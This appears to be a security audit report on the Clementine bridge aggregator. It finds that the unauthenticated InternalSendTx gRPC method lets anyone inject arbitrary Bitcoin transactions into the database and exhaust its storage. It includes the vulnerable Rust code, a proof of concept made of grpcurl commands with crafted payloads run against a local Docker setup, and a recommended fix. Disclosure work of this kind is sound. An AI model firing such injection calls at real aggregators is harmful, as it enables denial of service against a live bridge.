## Summary The `InternalSendTx` gRPC method in the Clementine bridge protocol's aggregator service allows arbitrary Bitcoin transaction inejctions to tx queues, causing storage exhaustion and aggregator DOS. ## Finding Description `InternalSendTx` is an exposed aggregator gRPC method which is implemented in clementine.rs . ```rust //core/src/rpc/clementine.rs fn call(&mut self, req: http::Request) -> Self::Future { ... "/clementine.ClementineAggregator/InternalSendTx" => { #[allow(non_camel_case_types)] struct InternalSendTxSvc(pub Arc); impl< T: ClementineAggregator, > tonic::server::UnaryService for InternalSendTxSvc { type Response = super::Empty; type Future = BoxFuture< tonic::Response, tonic::Status, >; fn call( &mut self, request: tonic::Request, ) -> Self::Future { let inner = Arc::clone(&self.0); let fut = async move { |> ::internal_send_tx( &inner, request, ) .await }; Box::pin(fut) } } ``` When `automation` feature is enabled, its current implementation allows direct arbitrary tx injection in the aggregator's DB due to insufficient validations. Since the aggregator server doesn't need client authentication, attackers do not need client credentials to perform the attack. ```rust //core/src/rpc/aggregator.rs async fn internal_send_tx( &self, request: Request, ) -> Result, Status> { #[cfg(not(feature = "automation"))] { Err(Status::unimplemented("Automation is not enabled")) } #[cfg(feature = "automation")] { let send_tx_req = request.into_inner(); let fee_type = send_tx_req.fee_type(); let signed_tx: bitcoin::Transaction = send_tx_req .raw_tx .ok_or(Status::invalid_argument("Missing raw_tx"))? .try_into()?; let mut dbtx = self.db.begin_transaction().await?; //@audit when automation is enabled, this any tx payload with valid format can be injected into db |> self.tx_sender .insert_try_to_send( &mut dbtx, None, &signed_tx, fee_type.try_into()?, None, &[], &[], &[], &[], ) .await .map_err(BridgeError::from)?; dbtx.commit() .await .map_err(|e| Status::internal(format!("Failed to commit db transaction: {}", e)))?; Ok(Response::new(Empty {})) } } ``` Attack path: Malicious attackers only need to prepare tx payloads with valid format but invalid contents to spam the aggregator's db through `rpc InternalSendTx(SendTxRequest)` in parallel. ## Impact Explanation High-Medium 1. Arbitrary transaction injection in db - Missing input validation and exposed gRPC allows any tx payload with valid format to be injected into the aggregator database directly; 2. Resource exhaustion - With low-cost gRPC calls, attackers can consume database storage within days to DOS the aggregator service. Injected spam tx will also consume extensive resources in ` try_to_send_unconfirmed_txs`, potentially DOS valid protocolTx broadcast even before db storage exhaustion. ## Likelihood Explanation High 1. Attackers do not need client certificates to exploit a public gRPC method. 2. The attack is low-cost and low-complexity. Multiple attackers can perform the attack in parallel. ## Proof of Concept 1. Run Docker with automation enabled; `docker compose -f scripts/docker/docker-compose.full.regtest.yml up` 2. 1st injection: `grpcurl -insecure -proto core/src/rpc/clementine.proto -d '{"raw_tx": {"raw_tx": "AgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wEAAAAAAAAAAAtqCW1hbGljaW91cwAAAAA="}, "fee_type": 1}' localhost:17000 clementine.ClementineAggregator/InternalSendTx` 3. 2nd injection: `grpcurl -insecure -proto core/src/rpc/clementine.proto -d '{"raw_tx": {"raw_tx": "BQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wEAAAAAAAAAAAtqCW1hbGljaW91cwAAAAA="}, "fee_type": 3}' localhost:17000 clementine.ClementineAggregator/InternalSendTx` 4. Check aggregator db with: `docker exec postgres_db_regtest psql -U clementine -d clementine0 -c "SELECT id, encode(raw_tx, 'base64') as raw_tx_base64 FROM tx_sender_try_to_send_txs ORDER BY id;"` 5. Results - Two arbitrary txs are injected in db successfully. ``` docker exec postgres_db_regtest psql -U clementine -d clementine0 -c "SELECT id, encode(raw_tx, 'base64') as raw_tx_base64 FROM tx_s ender_try_to_send_txs ORDER BY id;" id | raw_tx_base64 ----+------------------------------------------------------------------------------ 1 | AgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wEAAAAAAAAAAAtq+ | CW1hbGljaW91cwAAAAA= 2 | BQAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wEAAAAAAAAAAAtq+ | CW1hbGljaW91cwAAAAA= (2 rows) ``` ## Recommendation Consider adding proper input validations in `internal_send_tx` or consider removing `internal_send_tx` support from clementine.rs

Contest	Position	Date	Payout
circuit-puzzles	5 / 25	May 2025	$4,665
telcoin-network	36 / 92	June 2025	$188

oakcobalt

Top competitions